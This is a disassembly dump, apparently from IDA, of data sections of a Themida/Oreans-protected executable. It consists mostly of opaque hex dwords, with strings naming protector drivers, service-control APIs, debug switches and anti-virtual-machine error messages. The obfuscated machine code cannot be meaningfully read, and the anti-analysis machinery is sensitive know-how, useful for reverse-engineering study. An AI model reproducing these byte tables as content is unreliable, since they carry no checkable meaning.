		dd 639ABC4h, 2BB5FF50h,	0FF0639ACh, 37053195h, 2BB5FF06h
		dd 0FF0639ACh, 39AC3795h, 2BB5FF06h, 0FF0639ACh, 372AA195h
		dd 8589C306h, 639AC2Fh,	0AC2B858Dh, 8D500639h, 39AB9585h
		dd 1685006h, 0FF800000h, 39AC3B95h, 8D046A06h, 39AC2F85h
		dd 46A5006h, 858D006Ah,	639ABEEh, 2BB5FF50h, 0FF0639ACh
		dd 37053195h, 2BB5FF06h, 0FF0639ACh, 39AC3795h,	2BB5FF06h
		dd 0FF0639ACh, 372AA195h, 8589C306h, 639AC2Fh, 0AC2B858Dh
		dd 8D500639h, 39AB9585h, 1685006h, 0FF800000h, 39AC3B95h
		dd 8D046A06h, 39AC2F85h, 46A5006h, 858D006Ah, 639ABD6h
		dd 2BB5FF50h, 0FF0639ACh, 37053195h, 2BB5FF06h,	0FF0639ACh
		dd 39AC3795h, 2BB5FF06h, 0FF0639ACh, 372AA195h,	8589C306h
		dd 639AC2Fh, 0AC2B858Dh, 8D500639h, 39AB9585h, 1685006h
		dd 0FF800000h, 39AC3B95h, 8D046A06h, 39AC2F85h,	46A5006h
		dd 858D006Ah, 639AC01h,	2BB5FF50h, 0FF0639ACh, 37053195h
		dd 2BB5FF06h, 0FF0639ACh, 39AC3795h, 2BB5FF06h,	0FF0639ACh
		dd 372AA195h, 8589C306h, 639AC2Fh, 0AC2B858Dh, 8D500639h
		dd 39AB9585h, 1685006h,	0FF800000h, 39AC3B95h, 8D046A06h
		dd 39AC2F85h, 46A5006h,	858D006Ah, 639ABB1h, 2BB5FF50h
		dd 0FF0639ACh, 37053195h, 2BB5FF06h, 0FF0639ACh, 39AC3795h
		dd 2BB5FF06h, 0FF0639ACh, 372AA195h, 0BD83C306h, 6371391h
		dd 0B840F00h, 8B000000h, 3713919Dh, 4CC38306h, 83C30389h
		dd 371391BDh, 840F0006h, 0Bh, 13919D8Bh, 0C3830637h, 0C3038950h
		dd 1391BD83h, 0F000637h, 0B84h,	919D8B00h, 83063713h, 38954C3h
		dd 91BD83C3h, 63713h, 0B840Fh, 9D8B0000h, 6371391h, 8958C383h
		dd 0BD83C303h, 6371391h, 0B840F00h, 8B000000h, 3713919Dh
		dd 5CC38306h, 0C3C30389h, 2F858960h, 8D0639ACh,	39AC2B85h
		dd 858D5006h, 639AB95h,	16850h,	95FF8000h, 639AC3Bh, 858D046Ah
		dd 639AC2Fh, 6A046A50h,	26858D00h, 500639ACh, 0AC2BB5FFh
		dd 95FF0639h, 6370531h,	1929BD83h, 0F000637h, 0C84h, 2BB5FF00h
		dd 0FF0639ACh, 39AC3795h, 2BB5FF06h, 0FF0639ACh, 372AA195h
		dd 60C36106h, 0AC2F8589h, 858D0639h, 639AC2Bh, 95858D50h
		dd 500639ABh, 168h, 3B95FF80h, 6A0639ACh, 2F858D04h, 500639ACh
		dd 6A046Ah, 0AC08858Dh,	0FF500639h, 39AC2BB5h, 3195FF06h
		dd 83063705h, 371929BDh, 840F0006h, 0Ch, 0AC2BB5FFh, 95FF0639h
		dd 639AC37h, 0AC2BB5FFh, 95FF0639h, 6372AA1h, 8960C361h
		dd 39AC2F85h, 2B858D06h, 500639ACh, 0AB95858Dh,	68500639h
		dd 80000001h, 0AC3B95FFh, 46A0639h, 0AC2F858Dh,	6A500639h
		dd 8D006A04h, 39AC0F85h, 0B5FF5006h, 639AC2Bh, 53195FFh
		dd 0BD830637h, 6371929h, 0C840F00h, 0FF000000h,	39AC2BB5h
		dd 3795FF06h, 0FF0639ACh, 39AC2BB5h, 0A195FF06h, 6106372Ah
		dd 858960C3h, 639AC2Fh,	0AC2B858Dh, 8D500639h, 39AB9585h
		dd 1685006h, 0FF800000h, 39AC3B95h, 8D046A06h, 39AC2F85h
		dd 46A5006h, 858D006Ah,	639AC17h, 2BB5FF50h, 0FF0639ACh
		dd 37053195h, 29BD8306h, 63719h, 0C840Fh, 0B5FF0000h, 639AC2Bh
		dd 0AC3795FFh, 0B5FF0639h, 639AC2Bh, 2AA195FFh,	0C3610637h
		dd 2F858960h, 8D0639ACh, 39AC2B85h, 858D5006h, 639AB95h
		dd 16850h, 95FF8000h, 639AC3Bh,	858D046Ah, 639AC2Fh, 6A046A50h
		dd 1E858D00h, 500639ACh, 0AC2BB5FFh, 95FF0639h,	6370531h
		dd 1929BD83h, 0F000637h, 0C84h,	2BB5FF00h, 0FF0639ACh
		dd 39AC3795h, 2BB5FF06h, 0FF0639ACh, 372AA195h,	60C36106h
		dd 0AC2F85C7h, 10639h, 858D0000h, 639AC2Bh, 95858D50h
		dd 500639ABh, 268h, 3B95FF80h, 0B0639ACh, 0F840FC0h, 0C7000000h
		dd 39AC2F85h, 6, 4DE900h, 46A0000h, 0AC2F858Dh,	6A500639h
		dd 8D006A04h, 39ABA985h, 0B5FF5006h, 639AC2Bh, 53195FFh
		dd 0C00B0637h, 0F840Fh,	85C70000h, 639AC2Fh, 0
		dd 0AE9h, 2F85C700h, 10639ACh, 0FF000000h, 39AC2BB5h, 0A195FF06h
		dd 6106372Ah, 0AC2F858Bh, 60C30639h, 0AC2F8589h, 858D0639h
		dd 639AC2Bh, 95858D50h,	500639ABh, 168h, 3B95FF80h, 6A0639ACh
		dd 2F858D04h, 500639ACh, 6A046Ah, 0ABA9858Dh, 0FF500639h
		dd 39AC2BB5h, 3195FF06h, 83063705h, 371929BDh, 840F0006h
		dd 0Ch,	0AC2BB5FFh, 95FF0639h, 639AC37h, 0AC2BB5FFh, 95FF0639h
		dd 6372AA1h, 8960C361h,	39AC2F85h, 2B858D06h, 500639ACh
		dd 0AB95858Dh, 68500639h, 80000001h, 0AC3B95FFh, 46A0639h
		dd 0AC2F858Dh, 6A500639h, 8D006A04h, 39ABBB85h,	0B5FF5006h
		dd 639AC2Bh, 53195FFh, 0BD830637h, 6371929h, 0C840F00h
		dd 0FF000000h, 39AC2BB5h, 3795FF06h, 0FF0639ACh, 39AC2BB5h
		dd 0A195FF06h, 6106372Ah, 0B985C6C3h, 52063722h, 0E47B0768h
		dd 11B5FFADh, 0FF063720h, 3719D195h, 3B858906h,	0C60639ACh
		dd 3722B985h, 0E5685206h, 0FF902E00h, 372011B5h, 0D195FF06h
		dd 89063719h, 39AC3785h, 0B985C606h, 52063722h,	0BF123568h
		dd 11B5FFB9h, 0FF063720h, 3719D195h, 31858906h,	0C6063705h
		dd 3722B985h, 34685206h, 0FF987810h, 372011B5h,	0D195FF06h
		dd 89063719h, 372AA185h, 0B985C606h, 52063722h,	5DBD468h
		dd 11B5FFC0h, 0FF063720h, 3719D195h, 0E1858906h, 0E9063722h
		dd 20Eh, 6E614333h, 20746F6Eh, 74697277h, 726F2065h, 736E6165h
		dd 6478762Eh, 614D0D0Ah, 7320656Bh, 20657275h, 74616874h
		dd 69687420h, 69662073h, 6920656Ch, 6F6E2073h, 65622074h
		dd 20676E69h, 64657375h, 20796220h, 746F6E61h, 20726568h
		dd 676F7270h, 2E6D6172h, 68h dup(0)
aOreans_vxd	db '\Oreans.vxd',0
		dd 2 dup(0)
		dd 0EFE90000h, 0C6000000h, 3722B985h, 86684706h, 0FFE3E45Bh
		dd 371B49B5h, 14858D06h, 0FF06373Ah, 10468D0h, 9D8D0000h
		dd 63723DDh, 50D0FF53h,	0B46DB58Dh, 0FE8B0639h,	0FAEC032h
		dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 22B985C6h
		dd 68430637h, 0BC8E6EFCh, 1B49B5FFh, 858D0637h,	6373A14h
		dd 0B58DD0FFh, 63723DDh, 8068006Ah, 6A000000h, 6A006A02h
		dd 6800h, 0FF56C000h, 0C6D88BD0h, 3722B985h, 56685706h
		dd 0FFA69BEEh, 371B49B5h, 14858D06h, 0FF06373Ah, 15BD8DD0h
		dd 8D063701h, 39B5938Dh, 57006A06h, 37D068h, 0FF535100h
		dd 0FC085D0h, 1B85h, 75B58D00h,	8D0639B2h, 39A32B85h, 8DD0FF06h
		dd 3772A78Dh, 0B806h, 0E1FF0000h, 22B985C6h, 68430637h
		dd 0C0764AA7h, 1B49B5FFh, 858D0637h, 6373A14h, 0FF53D0FFh
		dd 0D0B9C3D0h, 0E8000037h, 0
		dd 0EC08358h, 2E90889h,	8B000000h, 37D0E9C3h, 5A4D0000h
		dd 30090h, 40000h, 0FFFF0000h, 0B80000h, 0
		dd 400000h, 8 dup(0)
		dd 0B00000h, 1F0E0000h,	0B4000EBAh, 0B821CD09h,	21CD4C01h
		dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh
		dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h
		dd 240A0Dh, 0
		dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h
		dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0
		dd 454C0000h, 0
		dd 20000h, 4, 80000000h, 140003h, 4 dup(0)
		dd 2000000h, 1C00000h, 900000h,	0
		dd 7E0000h, 0
		dd 0C40000h, 10000h, 0DC0000h, 3 dup(0)
		dd 12C0000h, 1380000h, 2 dup(0)
		dd 1420000h, 1960000h, 1D20000h, 0
		dd 1D20000h, 0
		dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0)
		dd 27C00400h, 0
		dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2
		dd 3, 4, 5, 6, 7, 8, 9,	0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h
		dd 11h,	12h, 13h, 58080014h, 544F5250h,	445856h, 3010000h
		dd 30001h, 2 dup(0)
		dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h
		dd 9B010191h, 6002727h,	79276F01h, 81017D01h, 89018501h
		dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h
		dd 360h	dup(0)
		dd 4000000h, 10000h, 50580000h,	56544F52h, 4458h, 8000h
		dd 8 dup(0)
		dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h
		dd 5273h, 9C3h dup(0)
		dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0)
		dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h,	831AEBC0h
		dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h
		dd 580CC3C0h, 544F5250h, 5F445856h, 424444h, 0AE80000h
		dd 0DD000000h, 0BDFF13EAh, 7954D520h, 5E925h, 35310000h
		dd 5B9168ADh, 0C38107B5h, 61A7h, 0CE8h,	146BE300h, 0F77DAFCCh
		dd 8CE43A18h, 14E974h, 9CA0000h, 1AF093FFh, 225B9338h
		dd 0A2E0FA2Eh, 70338984h, 685ACE48h, 1811h, 6646DE81h
		dd 8A5F15D7h, 0E833FFCEh, 14h, 4F29FF1Fh, 12A63857h, 0F30C3B51h
		dd 61B2BC50h, 0E2065AD1h, 4D3CBE66h, 0DA80585Ah, 0F9E881BAh
		dd 0F4FF493h, 1580h, 10E900h, 0DC3C0000h, 9005C44Dh, 86962E86h
		dd 199A0A44h, 0C081B255h, 1C4147C3h, 4FB9D981h,	0E8810F77h
		dd 54EE5AF8h, 7E8h, 39541500h, 0CAB93B8Ch, 14E9h, 0F9144600h
		dd 0B2362F96h, 9A08DD03h, 8A2B001Fh, 6CC5DF6h, 0E9505AFCh
		dd 0Dh,	0CFE6E65Fh, 0E68ABBF8h,	0DAB4037Bh, 81038F3Ah
		dd 20CD6AD6h, 0FCEB8161h, 666B8442h, 81575EBEh,	8442F8C3h
		dd 0D2BF0F6Bh, 0F01EF83h, 1E85h, 3810F00h, 66000000h, 4FE9F78Bh
		dd 0A2000000h, 0CE3D1FADh, 1B9903Eh, 0F1313431h, 0E828A61Eh
		dd 11h,	69F6BECFh, 2233D378h, 7E137B56h, 0B10B69FBh, 11E84Fh
		dd 0CE290000h, 0C98A6472h, 0AEEE08E1h, 0C1802C9Dh, 6090AC6Ch
		dd 0E95E5E61h, 0FFFFFEF9h, 8F40CBACh
		db 1Dh,	72h
aSSss		db '‘<²áé™',0           ; DATA XREF: Themida_:0053CC80o
					; Themida_:0053D72Co ...
		db 2 dup(0), 2Fh
aBugcheck2	db 'bugcheck2',0
aBugcheck	db '/bugcheck',0
aForcerun	db '/forcerun',0
aBugcheckfull	db '/bugcheckfull',0
		db 2Fh,	73h
aHowcode	db 'howcode',0          ; DATA XREF: Themida_:0053FF6Co
aShowcode2	db '/showcode2',0
aClrt		db '/clrt',0
aDis1		db '/dis1',0
aShowinstance	db '/showinstance',0
aGetwlstatus	db '/getwlstatus',0
aLogstatus	db '/logstatus',0
aDumpstatus	db '/dumpstatus',0
		align 4
		dd 2F000000h, 63656863h, 6F72706Bh, 74636574h, 6E6F69h
		dd 0
		dd 0EF54BD83h, 0F000639h, 0A84h, 0E185C700h, 106371Fh
		dd 0C6000000h, 3722B985h, 26684706h, 81F0C087h,	0EBAB2434h
		dd 0B5FF60ADh, 6371B49h, 3A14858Dh, 0D0FF0637h,	0F88BD0FFh
		dd 0F223F80h, 2285h, 22B04700h,	0F9850FAEh, 80FFFFFFh
		dd 840F003Fh, 31Eh, 3F8047h, 314840Fh, 1EE90000h, 80000000h
		dd 840F003Fh, 306h, 0F203F80h, 685h, 6E94700h, 47000000h
		dd 0FFFFE2E9h, 3F80FFh,	5850Fh,	0E3E90000h, 0E9000002h
		dd 1, 203F8047h, 0FFF6840Fh, 3F80FFFFh,	5850F00h, 0E9000000h
		dd 2C6h, 0AE8h,	0FFCBE900h, 0B7E9FFFFh,	8D000002h, 39EED4B5h
		dd 225E806h, 0BD030000h, 639EF69h, 0EF69BD83h, 0F000639h
		dd 0B84h, 2985C700h, 1063719h, 0C3000000h, 0EEDFB58Dh
		dd 0FCE80639h, 3000001h, 39EF69BDh, 69BD8306h, 639EFh
		dd 0B840Fh, 85C70000h, 6371FE1h, 1, 58B58DC3h, 0E80639EFh
		dd 1D3h, 0EF69BD03h, 0BD830639h, 639EF69h, 0B840F00h, 0C7000000h
		dd 370A3985h, 106h, 0B58DC300h,	639EEE9h, 1AAE8h, 69BD0300h
		dd 830639EFh, 39EF69BDh, 840F0006h, 0Bh, 1FE185C7h, 10637h
		dd 8DC30000h, 39EEF3B5h, 181E806h, 0BD030000h, 639EF69h
		dd 0EF69BD83h, 0F000639h, 1584h, 0E185C700h, 106371Fh
		dd 0C7000000h, 37192985h, 106h,	0B58DC300h, 639EF01h, 14EE8h
		dd 69BD0300h, 830639EFh, 39EF69BDh, 840F0006h, 0Ah, 17BD85C7h
		dd 10637h, 0B58D0000h, 639EF0Bh, 126E8h, 69BD0300h, 830639EFh
		dd 39EF69BDh, 840F0006h, 0Ah, 17BD85C7h, 10637h, 0B58D0000h
		dd 639EF16h, 0FEE8h, 69BD0300h,	830639EFh, 39EF69BDh, 840F0006h
		dd 0Ah,	81D85C7h, 10637h, 0B58D0000h, 639EF1Ch,	0D6E8h
		dd 69BD0300h, 830639EFh, 39EF69BDh, 840F0006h, 0Ah, 301585C7h
		dd 10637h, 0B58D0000h, 639EF22h, 0AEE8h, 69BD0300h, 830639EFh
		dd 39EF69BDh, 840F0006h, 0Ah, 7BD85C7h,	10637h,	0B58D0000h
		dd 639EF30h, 86E8h, 69BD0300h, 830639EFh, 39EF69BDh, 840F0006h
		dd 0Ah,	286D85C7h, 10637h, 0B58D0000h, 639EF3Dh, 5EE8h
		dd 69BD0300h, 830639EFh, 39EF69BDh, 840F0006h, 0Ah, 306185C7h
		dd 10637h, 0B58D0000h, 639EF48h, 36E8h,	69BD0300h, 830639EFh
		dd 39EF69BDh, 840F0006h, 0Ah, 91585C7h,	10637h,	1E90000h
		dd 47000000h, 0F203F80h, 984h, 3F8000h,	0FFED850Fh, 60C3FFFFh
		dd 1B9h, 0E9DE8B00h, 1Fh, 0F003F80h, 585h, 0B900h, 178A0000h
		dd 840F1638h, 5, 0B9h, 80474600h, 840F003Eh, 8,	850FC90Bh
		dd 0FFFFFFD0h, 840FC90Bh, 21h, 0F003F80h, 984h,	203F8000h
		dd 0A850Fh, 1B90000h, 0E9000000h, 5, 0B9h, 0FC90B00h, 0D84h
		dd 89F32B00h, 39EF69B5h, 0AE906h, 85C70000h, 639EF69h
		dd 0
		dd 0C88BC361h, 10A9E9h,	56444100h, 33495041h, 4C442E32h
		dd 704F004Ch, 43536E65h, 616E614Dh, 41726567h, 65724300h
		dd 53657461h, 69767265h, 416563h, 72617453h, 72655374h
		dd 65636976h, 65470041h, 74614E74h, 53657669h, 65747379h
		dd 666E496Dh, 704F006Fh, 65536E65h, 63697672h, 44004165h
		dd 74656C65h, 72655365h, 65636976h, 6F6C4300h, 65536573h
		dd 63697672h, 6E614865h, 656C64h, 746E6F43h, 536C6F72h
		dd 69767265h, 6563h, 7 dup(0)
		dd 6F000000h, 6E616572h, 2E323373h, 737973h, 2 dup(0)
aOreansx64_sys	db 'oreansx64.sys',0
		align 4
		dd 0
		dd 726F0000h, 736E6165h, 5C003233h, 6F5C2E5Ch, 6E616572h
		dd 323373h, 5C2E5C5Ch, 626F6C47h, 6F5C6C61h, 6E616572h
		dd 323373h, 6165726Fh, 3678736Eh, 5C5C0034h, 6C475C2Eh
		dd 6C61626Fh, 65726F5Ch, 78736E61h, 3436h, 41h dup(0)
		dd 53000000h, 45545359h, 4F4F524Dh, 73250054h, 7379735Ch
		dd 336D6574h, 72645C32h, 72657669h, 73255C73h, 5C732500h
		dd 77737973h, 3436776Fh, 6972645Ch, 73726576h, 73255Ch
		dd 735C7325h, 65747379h, 5C32336Dh, 76697264h, 5C737265h
		dd 6165726Fh, 3233736Eh, 7379732Eh, 49h	dup(0)
		dd 61433300h, 746F6E6Eh, 64705520h, 20657461h, 6165726Fh
		dd 732E736Eh, 64207379h, 65766972h, 50202E72h, 7361656Ch
		dd 6D202C65h, 20656B61h, 65727573h, 61687420h, 6F792074h
		dd 61682075h, 0D0A6576h, 696D6461h, 7473696Eh, 6F746172h
		dd 20732772h, 6D726570h, 20737469h, 20656874h, 73726966h
		dd 69742074h, 7420656Dh, 20746168h, 20756F79h, 20657261h
		dd 6E696F67h, 6F742067h, 6E757220h, 69687420h, 72702073h
		dd 6172676Fh, 2E6Dh, 59h dup(0)
		dd 61433300h, 746F6E6Eh, 65706F20h, 726F206Eh, 736E6165h
		dd 6478762Eh, 69726420h, 2E726576h, 6B614D20h, 75732065h
		dd 74206572h, 20746168h, 6165726Fh, 762E736Eh, 0D0A6478h
		dd 6E207369h, 6F20746Fh, 206E6570h, 61207962h, 68746F6Eh
		dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0)
		dd 65533300h, 65727563h, 69676E45h, 6420656Eh, 65766972h
		dd 61632072h, 746F6E6Eh, 20656220h, 61647075h, 20646574h
		dd 61636562h, 20657375h, 72656874h, 72612065h, 6F732065h
		dd 7020656Dh, 72676F72h, 20736D61h, 6E697375h, 690D0A67h
		dd 59202E74h, 6E20756Fh, 20646565h, 63206F74h, 65736F6Ch
		dd 6F687420h, 70206573h, 72676F72h, 20736D61h, 7220726Fh
		dd 61747365h, 79207472h, 2072756Fh, 706D6F63h, 72657475h
		dd 520D0A2Eh, 61747365h, 6E207472h, 3F776Fh, 0D9h dup(0)
		dd 2E5C5C00h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 73250000h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 70580000h, 45746F72h, 746E6576h, 0Bh	dup(0)
		dd 53655300h, 64747568h, 506E776Fh, 69766972h, 6567656Ch
		dd 0
		dd 65724300h, 45657461h, 746E6576h, 49504120h, 72724520h
		dd 7720726Fh, 656C6968h, 74786520h, 74636172h, 206E6F69h
		dd 20656874h, 76697264h, 47007265h, 6E457465h, 6F726976h
		dd 6E656D6Eh, 72615674h, 6C626169h, 50412065h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 6E65704Fh, 614D4353h
		dd 6567616Eh, 50412072h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 61657243h, 65536574h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 736F6C43h
		dd 72655365h, 65636976h, 646E6148h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 7265536Eh
		dd 65636976h, 49504120h, 72724520h, 7720726Fh, 656C6968h
		dd 74786520h, 74636172h, 206E6F69h, 20656874h, 76697264h
		dd 53007265h, 74726174h, 76726553h, 20656369h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 50410072h, 65204349h
		dd 726F7272h, 6143203Ah, 746F6E6Eh, 6E696620h, 72502064h
		dd 7365636Fh, 73726F73h, 6E6F4320h, 6C6F7274h, 6F6C4220h
		dd 2E736B63h, 656C5020h, 2C657361h, 6F630D0Ah, 6361746Eh
		dd 6E692074h, 6F406F66h, 6E616572h, 6F632E73h, 6F66206Dh
		dd 68742072h, 65207369h, 726F7272h, 0
		dd 10400h, 6F533300h, 2C797272h, 69687420h, 70612073h
		dd 63696C70h, 6F697461h, 6163206Eh, 746F6E6Eh, 6E757220h
		dd 646E7520h, 61207265h, 72695620h, 6C617574h, 63614D20h
		dd 656E6968h, 70h dup(0)
		dd 100000h, 1000000h, 0FEFFFF00h, 17Fh,	100h, 24A00h, 1000000h
		dd 8000F00h, 940004h, 50000h, 10000h, 0A280000h, 20000h
		dd 21h dup(0)
		dd 0C48B0000h, 0BE18D29h, 85890637h, 6371225h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0EFC35545h, 8BCA8B97h
		dd 499589C0h, 8306372Bh, 371929BDh, 9750006h, 1FE1BD83h
		dd 74000637h, 8B535019h, 43DB8C0h, 85890000h, 6371B41h
		dd 0B10C9D8Dh, 0D3FF0639h, 0BD83585Bh, 6371FE1h, 50177400h
		dd 43DB853h, 85890000h,	6371B41h, 0ADFB9D8Dh, 0D3FF0639h
		dd 8166585Bh, 66C337D7h, 8B2AE7B9h, 298D8BC0h, 8906370Dh
		dd 372B2195h, 8BC08B06h, 3705A1BDh, 29BD8306h, 63719h
		dd 0BD830975h, 6371FE1h, 50137400h, 0B8C08B53h,	0
		dd 0AFAE9D8Dh, 0D3FF0639h, 0BD83585Bh, 6371FE1h, 50117400h
		dd 0B853h, 9D8D0000h, 639AE5Fh,	585BD3FFh, 319D09h, 0FE90637h
		dd 43000000h, 6E1DD302h, 0C4D450BBh, 0B0BF1862h, 0C08BDC0Fh
		dd 9565BF66h, 0E181C08Bh, 1E18CEA9h, 1929BD83h,	75000637h
		dd 0E1BD8309h, 6371Fh, 53501374h, 0B8C08Bh, 8D000000h
		dd 39AEE09Dh, 5BD3FF06h, 0E1BD8358h, 6371Fh, 53501174h
		dd 0B8h, 2D9D8D00h, 0FF0639AEh,	0F585BD3h, 89h,	0FA8B6600h
		dd 6652C08Bh, 5F54ACBAh, 958BC08Bh, 6370945h, 33F18166h
		dd 29BD8395h, 63719h, 0BD830975h, 6371FE1h, 50137400h
		dd 0B8C08B53h, 0
		dd 0AF479D8Dh, 0D3FF0639h, 0BD83585Bh, 6371FE1h, 50117400h
		dd 0B853h, 9D8D0000h, 639AE46h,	585BD3FFh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0ECC35545h, 0B81F4286h
		dd 66F0A010h, 0C08BCA8Bh, 0C08B63B6h, 83CBB70Fh, 371929BDh
		dd 9750006h, 1FE1BD83h,	74000637h, 8B535013h, 0B8C0h, 9D8D0000h
		dd 639AE79h, 585BD3FFh,	98D0Fh,	0B8600000h, 3AEB6BF0h
		dd 8B616160h, 800FC0h, 60000000h, 0B7D9D8Bh, 8B660637h
		dd 0C08B61DAh, 0BD8368B6h, 6371929h, 83097500h,	371FE1BDh
		dd 19740006h, 0C08B5350h, 7D0B8h, 41858900h, 8D06371Bh
		dd 39B10C9Dh, 5BD3FF06h, 0E1BD8358h, 6371Fh, 53501774h
		dd 7D0B8h, 41858900h, 8D06371Bh, 39ADFB9Dh, 5BD3FF06h
		dd 56006A58h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 89C1670Dh, 0F90E6436h, 14E9B8h, 0A03C0000h
		dd 26667D6Ch, 0E24713B2h, 0AE115658h, 0FBCD32DEh, 0BD89F1D6h
		dd 6371895h, 15BFC08Bh,	0C6451B91h, 3722B985h, 0C9815306h
		dd 796006F8h, 1255BD23h, 90680637h, 8999395Fh, 370F858Dh
		dd 49B5FF06h, 6A06371Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 148DC355h, 36FBEDBEh
		dd 0F7C4AB6h, 858DFAB7h, 6373A14h, 1C0DBD8Bh, 0B5890637h
		dd 63721C1h, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 0A88EC7C3h, 1492D253h, 24820F55h
		dd 0E8000000h, 5
dword_56D320	dd 8FFA97C2h, 13E8B7h, 0AF740000h, 0D2296855h, 0AC2D3B60h
					; DATA XREF: Themida_:0053FA5Co
		dd 0A88A3DC3h, 49C28ACFh, 89595F58h, 37129185h,	9E806h
		dd 26F90000h, 21208993h, 8999E28Eh, 372E0D8Dh, 85C65906h
		dd 63722B9h, 52066857h,	958B9004h, 637141Dh, 1B49B5FFh
		dd 0F5520637h, 14858D5Ah, 6A06373Ah, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0EC6BC353h
		dd 9FE15668h, 0D0FF235Eh, 28D98D89h, 85890637h,	63700EDh
		dd 0C6DBF181h, 85C60A9Eh, 63722B9h, 3D8D8B43h, 6806372Ah
		dd 0BC907028h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	61C35747h, 5AFC9F4Fh, 30C62243h, 755958Bh, 8D330637h
		dd 6371B81h, 1B49B5FFh,	0D48A0637h, 3A14858Dh, 14E90637h
		dd 49000000h, 0DDB15E3h, 4F2B03C0h, 7BF30539h, 0CFDEF5DEh
		dd 0FFCE21E0h, 9BE180D0h, 22258589h, 81660637h,	0C60388CAh
		dd 3722B985h, 8B0F4C06h, 9, 38C0Fh, 8B660000h, 1CE968CBh
		dd 9D89D9DAh, 637331Dh,	0EE8h, 66705100h, 81A85C73h, 901180DCh
		dd 0FC2ABF32h, 49B5FF5Fh, 0E906371Bh, 7, 5E297CA5h, 8D7D9205h
		dd 373A1485h, 0C1BD8B06h, 29063700h, 371CDD8Dh,	8BD0FF06h
		dd 3713758Dh, 1D858906h, 6606370Bh, 37ECF781h, 22B985C6h
		dd 89460637h, 372F5D85h, 6146806h, 8509BADEh, 6370019h
		dd 1B49B5FFh, 858D0637h, 6373A14h, 2F418D8Bh, 0D0FF0637h
		dd 3E18166h, 5D85898Ch,	6606370Ah, 0AE8D68Bh, 46000000h
		dd 5B376C72h, 15375636h, 899589A7h, 59063713h, 22B985C6h
		dd 29470637h, 3732DD85h, 0B5E26806h, 0C88B8A0Fh, 1B49B5FFh
		dd 840F0637h, 0
		dd 3A14858Dh, 0BD890637h, 6371EE5h, 830FD0FFh, 3, 8BC8B70Fh
		dd 0F58589D3h, 6A063729h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 0D830C353h,	69BF6627h
		dd 0B985C6DBh, 47063722h, 0F368F88Bh, 3183D0B5h, 37128DBDh
		dd 49B5FF06h, 0B206371Bh, 14858D2Ch, 8006373Ah,	0D0FF61D5h
		dd 6790B8BFh, 0AD858958h, 8B06372Dh, 371E35BDh,	0B985C606h
		dd 77063722h, 1EAD8D8Bh, 0A3680637h, 6AF397A8h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 2935C353h, 86C3DC5h,	0C5804133h, 5DB5FF72h, 6A063704h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 6EBBC351h, 65DB6DC9h, 79958922h, 0F063710h
		dd 38Fh, 0D3B70F00h, 3A14858Dh,	0CF810637h, 323CA477h
		dd 8B56D0FFh, 37232D95h, 85895A06h, 63707A9h, 0C686C680h
		dd 3722B985h, 6A4706h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0A5663AC3h, 5D8D29FCh, 68063720h
		dd 8728FAF6h, 0CE8h, 23DDD400h,	0E0EF302h, 9A8FA7C3h, 44E981ECh
		dd 5F13924Fh, 1B49B5FFh, 0BE90637h, 0FD000000h,	4658729Ah
		dd 0E20C1C1Fh, 0BE9705Fh, 0B8000000h, 2B097EB1h, 596F100Dh
		dd 858D5129h, 6373A14h,	2C6F96B9h, 6AD0FF3Ch, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 1A15C357h, 0F28B3EBh, 782h, 4BBA5100h, 593972C3h, 4998589h
		dd 6A0637h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 27E5A7C3h, 0B0BA66C0h, 0B985C698h, 43063722h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 57C35646h
		dd 608DB812h, 6EFC682Ch, 0D18BBC8Eh, 1B49B5FFh,	0BD330637h
		dd 6370605h, 3A14858Dh,	6A0637h, 3E850h, 58200000h, 448958C3h
